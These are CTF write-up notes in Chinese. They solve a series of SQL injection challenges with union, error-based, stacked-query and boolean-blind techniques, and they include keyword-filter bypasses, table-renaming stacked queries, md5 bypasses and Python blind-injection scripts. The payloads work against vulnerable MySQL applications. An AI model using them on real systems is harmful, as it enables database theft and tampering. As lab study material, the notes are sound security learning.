[極客大挑戰 2019]EasySQL
考點:sql注入-萬能密碼
[極客大挑戰 2019]LoveSQL
考點:union聯合注入
解題
1、用萬能密碼就登進去了
2、用admin和fc04b11f3d0602213859e9c721e53116登進去還是一樣的
3、order by查出3個字段
4、爆當前庫名:
' union select 1,1,database() #
->庫名:geek
5、爆表名:
' union select 1,1,group_concat(distinct table_name) from information_schema.tables where table_schema='geek' #
->根據題目,表名應該就是l0ve1ysq1
6、查詢所有的字段名:
' union select 1,1,group_concat(distinct column_name) from information_schema.columns where table_name='l0ve1ysq1' #
' union select 1,1,group_concat(password) from l0ve1ysq1 #
[極客大挑戰 2019]BabySQL
考點:union聯合注入
解題
1、用萬能密碼登陸,回顯過濾了or ,雙寫繞過:
' oorr 1=1 #
2、用order by查出3個字段
' oorrder bbyy 1 #
3、爆當前庫名:(回顯union和select都被過濾,雙寫繞過)
' ununionion seselectlect 1,1,database() #
->庫名:geek
4、爆表名:(回顯from、where被過濾)
注意information里的or
' ununionion seselectlect 1,1,group_concat(distinct table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek' #
->表名:b4bsql,geekuser,有2個,肯定是b4bsql
5、爆字段:
' ununionion seselectlect 1,1,group_concat(distinct column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql' #
->id,username,password
6、
' ununionion seselectlect 1,1,group_concat(passwoorrd) frfromom b4bsql #
BabySql過濾了or,union,select,from等關鍵字,看回顯缺什么再寫一遍就行了,其它和上一關LoveSql一樣。
[極客大挑戰 2019]HardSQL
考點:報錯注入
解題
1、打開bp fuzz,union|order by|等號|空格|substr等被過濾
2、爆當前的數據庫名:
空格繞過:用括號()包起來就行
'or(extractvalue(1,concat('~',database())))#
用updatexml()函數是一樣的:
'or(updatexml(1,concat('~',database()),1))#
'or(extractvalue(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like("geek")))))#
'or(extractvalue(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name)like("H4rDsq1")))))#
'or(extractvalue(1,concat('~',(select(password)from(H4rDsq1)))))#
flag{f5629ada-833f-4eb8-a6f2-49
沒出全,因為extractvalue和updatexml()都有最長32的長度限制
這時候就要想到mysql的一些函數,substr,left,right
- substr(字符串,起始位置,截取長度)
- left(字符串,截取長度)#從左往右截取
*
位 - right(字符串,截取長度)#從右往左截取
*
位
注意:substr被過濾了
'or(extractvalue(1,concat('~',(select(right(password,20))from(H4rDsq1)))))#
BUUCTF-[強網杯 2019]隨便注
考點:堆疊注入
換表
解題
1、網頁標題是easy_sql
輸入1、2有回顯,其余都無查詢結果
單引號字符型注入
2、order by判段出2列
3、爆庫名:
1' union select 1,group_concat(schema_name) from information_schema.schemata%23
過濾了select|update|delete|drop|insert|where|.關鍵字
4、看師傅們的wp,這里用堆疊注入
查詢所有表:
?inject=';show tables;%23
->表名:1919810931114514和words
查詢第一個表1919810931114514中的列:
?inject=';show columns from `1919810931114514`;%23
(本地測試了一下,表名如果是數字,表名要加反單引號)
->1919810931114514表的列名:flag
查數據:
?inject=';show flag from `1919810931114514`;%23
沒結果。。。
查詢第2個表words的列:
?inject=';show columns from words;%23
->words表有2個列:id、data
根據一開始輸入1,查詢出的結果是一個數字和一個字符串,而words表結構是id和data,判斷出words是查詢的表,GET傳入的參數inject的值賦值給id。
后台sql語句大概是:select id from words where id='1';
把數字表名改成words,words表名改成words1。換了后,words1是默認查詢的表,words只有flag一個字段,頁面查詢的是id,所以把words表的flag字段改為id(改列名時注意加上數據類型):
';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100);%23
筆記
堆疊注入
原理:在sql中,分號代表一條語句結束,但如果用分號分割,同時執行多條sql語句,就會造成堆疊注入,例如:
select * from testtable;show databases;
測試一下:第一條刪除id為2的數據,第二條查詢全部數據:
[GYCTF2020]Blacklist
考點:堆疊注入
handle語句替代select查詢
解題
1、經測試,是字符型注入
2、查列數:
url:
?inject=1' order by 1%23
->2列
3、用union聯合查詢:
?inject=1'union select 1,2%23
回顯有過濾
4、用堆疊注入,查庫名:
?inject=1';show databases;
->庫名:supersqli
查表名:
?inject=1';show tables;
->表名:FlagHere、words
先查看FlagHere中的字段:
?inject=1';show columns from FlagHere;
有flag字段
再查words表中的字段:
?inject=1';show columns from words;
有id和data兩個字段
和“[強網杯 2019]隨便注”這道題類似,但是現在這題過濾了rename
和alter
,不能換表
學到用handler語句替代select查詢
handle官方文檔
參考:mysql查詢語句-handler
handler table_name open; #打開表table_name,聲明一個名為table_name的句柄
handler table_name read first; #獲取第一行數據
handler table_name close; #關閉打開的句柄
payload:
?inject=1';
handler FlagHere open;
handler FlagHere read first;
handler FlagHere close;%23
BUUCTF-[GYCTF2020]Ezsqli
解題
1、
1 回顯Nu1L
2 回顯V&N
3 回顯Error Occured When Fetch Result.
1' 回顯 bool(false)
參數id處存在注入
1 or 1=1 回顯SQL Injection Checked.
上面測試共有4種回顯:
- Nu1L或V&N 有查詢結果
- Error Occured When Fetch Result. 無查詢結果
- bool(false) sql語法有錯
- SQL Injection Checked. 存在過濾
2、
輸入1a,打開bp fuzz
過濾了union|and|or|union select|if|in|information
(本來我用id=\(1\)測試,一些過濾沒測出來,心涼,遂請教師傅,在沒有產生注入的情況下,把測試關鍵字插入到正確的sql語句中)
看上面的過濾,不能用報錯注入
1^1 回顯Error Occured When Fetch Result.
1^0 回顯Nu1L
可用bool盲注
3、通過盲注爆表:
import requests
url='http://c631cfe0-e07d-41e6-be58-60f6e4cc8f06.node3.buuoj.cn/'
table_name=''
for i in range(1,50):
for j in range(40,128):
payload = "1&&(ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),%d,1)))=%d"%(i,j)
data={'id': payload}
r=requests.post(url,data=data)
if 'Nu1L' in r.text:
table_name=table_name+chr(j)
print(table_name)
break
->表名:f1ag_1s_h3r3_hhhhh,users233333333333333
4、無列名注入
先判斷列數:
union select不能用,payload:1^((select 1)>(select * from f1ag_1s_h3r3_hhhhh))
1^((select 1)>(select * from f1ag_1s_h3r3_hhhhh)) 回顯bool(false)
1^((select 1,2)>(select * from f1ag_1s_h3r3_hhhhh)) 回顯Error Occured When Fetch Result.
1^((select 1,2,3)>(select * from f1ag_1s_h3r3_hhhhh)) 回顯bool(false)
->2列
通過第一個字符判斷flag在哪一列:
1^((select 'f',2)>(select * from f1ag_1s_h3r3_hhhhh)) 回顯Nu1L
1^((select 'g',2)>(select * from f1ag_1s_h3r3_hhhhh)) 回顯Nu1L,和理論不一致
1^((select 1,'f')>(select * from f1ag_1s_h3r3_hhhhh)) 回顯Nu1L,一致
1^((select 1,'g')>(select * from f1ag_1s_h3r3_hhhhh)) 回顯Error Occured When Fetch Result.,一致
所以flag在第2列,且第一個字符是f
(其實一般有2列的話,flag大部分都在第2列)
爆數據:
import requests
url = 'http://a8f8d1ca-23b3-4e08-88cc-bc2c636ae798.node3.buuoj.cn/'
flag = ''
result = ''
for i in range(1,50):
print(i)
for j in range(40,127):
result = flag+chr(j)
payload = '1^((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(result)
data = {'id': payload}
r = requests.post(url,data)
if 'Error' in r.text:
flag += chr(j-1)
print(flag)
break
解釋:
1^((select 1,'a')>(select * from f1ag_1s_h3r3_hhhhh)) ,1^0=1,回顯Nu1L
比如第一個字符,小於等於f時,10=1,回顯Nu1L;大於f時,g>f,11=0,回顯Error Occured When Fetch Result.
,所以要j-1,記錄此時的flag
在下次循環,對於mysql中的大於號,前面一樣的,繼續比較后面的
筆記
1、bypass information_schema:
參考:
https://osandamalith.com/2020/01/27/alternatives-to-extract-tables-and-columns-from-mysql-and-mariadb/
https://www.anquanke.com/post/id/193512
- mysql.innodb_table_stats(需要mysql>=5.6) ×
- sys.schema_auto_increment_columns ×
- sys.nnodb_buffer_stats_by_table
- sys.x$schema_flattened_keyss
- sys.schema_table_statistics
- sys.schema_table_statistics_with_buffer
2、無列名注入
常規獲取表名是:
payload="1&&(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))=%d)"%(i,j)
information_schema庫被過濾時,將查詢語句和列進行比較,可以查出多少列
好像這個表里只能有1行
參考:
https://f4de.ink/2020/06/10/GYCTF2020-Ezsqli/
https://www.gem-love.com/ctf/1782.html
http://mo0n.top/2020/02/24/gyctf2020-writeup/#toc-heading-10
[SWPU2019]Web1
考點:bypass information、無列名注入
解題
1、發現在title處存在sql注入:
打開bp,fuzz,過濾了and|or|#|%23
1'/**/&&/**/'1'='1
1'/**/&&/**/'1'='2
是單引號字符型注入
2、爆列數:
0'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
->22列
3、判斷回顯位:
0'union/**/select/**/version(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
回顯位在2、3位
4、union聯合查詢爆表名:
0'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
0'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
通過加減得出user表有3列。
筆記
無列名注入:select 字段 from 聯合查詢
看到,使用union聯合查詢,列名p
,user
會被數字1,2,3代替
select `2` from (select 1,2 union select * from t0926)a;
解釋:
①2加反單引號,表示它是列名
②a
是select 1,2 union select * from t0926
這個表的別名,可任意
[極客大挑戰 2019]FinalSQL
考點:bool盲注
解題
1、
頁面hint了sql盲注,點擊5個按鈕,get傳參分別為1-5
?id=1^0 真,返回正確
?id=1^1 假,返回ERROR!!!
用bool盲注
2、過濾了union|空格|and等等,用括號包住繞過空格
寫腳本,用二分去爆破庫名,表名,列名,flag數據,1^(sql判斷語句),如果頁面返回正常,說明id=1,sql判斷語句為假;反之如果頁面返回ERROR!!!,說明id=0,sql判斷語句為真
(后面flag數據很長,所以位數i就設大了點)
import requests
url_ = "http://e11a9824-28ed-43c3-ad08-c4979caacc5b.node3.buuoj.cn/search.php?id="
name = ""
for i in range(1,1000):#i表示庫名的第i位
low = 32
high = 128
mid = (low + high) // 2
while low < high :
payload = "1^(ascii(substr(database(),%d,1))>%d)" % (i, mid)#庫名爆出geek
#payload = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)" % (i, mid)#表名是F1naI1y
#payload = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='F1naI1y'),%d,1))>%d)" % (i, mid)#id,username,password
#payload = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)" % (i, mid)
url = url_ + payload
response = requests.get(url)
#庫名的當前字符比mdi大
if "ERROR!!!" in response.text:
low = mid + 1
#比mid小
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
[CISCN2019 華北賽區 Day2 Web1]Hack World
考點:sql注入-bool盲注
解題
1 回顯:Hello, glzjin wants a girlfriend.
2 回顯:Do you want to be my girlfriend?
1' 回顯:bool(false)
1^1 回顯:Error Occured When Fetch Result.
1^0 回顯:Hello, glzjin wants a girlfriend.
1 or 回顯:SQL Injection Checked.
測試總結共4種回顯:
- Hello...或Do you... 有查詢結果
- Error Occured When Fetch Result. 無查詢結果
- bool(false) sql語法有錯
- SQL Injection Checked.有過濾
2、打開bp,fuzz一下,過濾了空格,用括號繞過
3、用二分法爆破一下,腳本如下:
import requests
url = "http://e5396176-4c24-4c09-a8af-917d636cde2a.node3.buuoj.cn/index.php"
payload = {
"id" : ""
}
result = ""
for i in range(1,100):
low = 32
high = 128
mid = (low + high) // 2
while(low < high):
payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),%d,1))>%d)" % (i,mid)
r = requests.post(url,data=payload)
if "Hello" in r.text:
low = mid+1
else:
high = mid
mid = (low + high) // 2
if(mid == 32):
break
result = result + chr(mid)
print(result)
[GXYCTF2019]BabySQli
當時比賽的題目描述:
剛學完sqli,我才知道萬能口令這么危險,還好我進行了防護,還用md5哈希了密碼!
考點:
1、uesername和password分開驗證
2、md5繞過驗證
解題:
1、打開靶機后有個username和password的登錄框
F12之后,訪問search.php,base32 decode,base64 decode,得到:
select * from user where username = '$name'
只對username做了判斷,所以注入點在username
查字段數,order by查不出來,可能過濾了or,大寫繞過
fuzz后,發現or、()、=被過濾
' Order by 4#
或
' union select 1,2,3,4#
->3個字段
猜測可能是id,uesrname,password這樣
username輸入admin,返回wrong pass!,輸入其他的返回wrong user!
至於為什么輸入admin對了,一般出題username最可能用admin
參考師傅們的wp:
https://www.gem-love.com/ctf/453.html
https://artd33.github.io/2019/12/29/Training-MySQL-I-Training-MySQL-II/
payload:
username:' union select 1,'admin','4ded286ec88b56f6b0da58034f991714'#
[BJDCTF2020]Easy MD5
考點:bypass md5($var,true)
解題
打開題目是這樣的:
/leveldo4.php
1、根據題目,直接用ffifdyop
這個字符串吧
<?php
echo md5("ffifdyop", true);//'or'6�]��!r,��b
在mysql里,字符串或變量作布爾型判斷時,以數字開頭的字符串會忽略數字后面的字符。例:password=‘6xxx’,結果為true。
所以,這里相當於萬能密碼永真。
2、
/levels91.php?a[]=1&b[]=2
3、
/levell14.php
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
POST:param1[]=1¶m2[]=2
password:Pur3
[SUCTF 2019]EasySQL
考點:堆疊注入、sql_mode=PIPES_AS_CONCAT
解題
在輸入非0的數字時,都返回:
輸入其他任意非數字(除0)的,無任何回顯
有長度限制。
打開bp fuzz測試,過濾了union|and|or|from|sleep|extractvalue|updatexml|information。
嘗試用堆疊注入
查庫名:
查表名:
嘗試輸入6,7
再輸入3,4,5
判斷出注入點在select_expr
sql語句大概是select $_REQUEST['query'] from Flag
學習學習
源碼中的sql語句是:
$sql = "select ".$post['query']."||flag from Flag";
預期解
因為這里網頁是php語言,所以是mysql數據庫
本地看一下這個||
:
第2個字段p||2
在這里,無任何意義
在oracle 缺省支持 通過 ‘ || ’ 來實現字符串拼接,但在mysql 缺省不支持。需要調整mysql 的sql_mode模式:pipes_as_concat 來實現oracle 的一些功能。
關於sql_mode的解釋查看:sql-mode官方文檔
sql_mode中的PIPES_AS_CONCAT把||
視為字符串的連接操作符而非或運算符,和字符串的拼接函數Concat相類似。
payload:
1;set sql_mode=PIPES_AS_CONCAT;select 1
拼接起來是:
$sql = "select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag";
非預期解
*,0
sql語句為:select *,0||flag from Flag
,即select * from Flag
總結
這題遇到了注入點在select_expr的情況;還有mysql中,用sql_mode=PIPES_AS_CONCAT
轉化||
的方法。
[RCTF2015]EasySQL
考點:報錯注入
解題
1、打開題目:
進入/register.php
注冊登錄后有修改密碼的功能,有修改后台數據的地方就可能存在二次注入
2、再回到/register.php,測出在加雙引號注冊后修改密碼時返回報錯信息
獲取表名:
Hh0" or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))#
彈出invalid string!
,有過濾哇,用Bpfuzz一下,過濾了空格
獲取表名:
Hh0"or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))))#
Hh0"or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')))))#
Hh0"or(extractvalue(1,concat(0x7e,(select(group_concat(flag))from(flag)))))#
Hh0"or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')))))#
Hh0"or(extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_her))from(users)))))#
Hh0"or(extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)))))#
返回一堆xxx,肯定前幾行的數據都是xxx,用regexp正則匹配real_flag_1s_here
列中f開頭的數據
Hh0"or(extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))))#
Hh0"or(extractvalue(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))))))#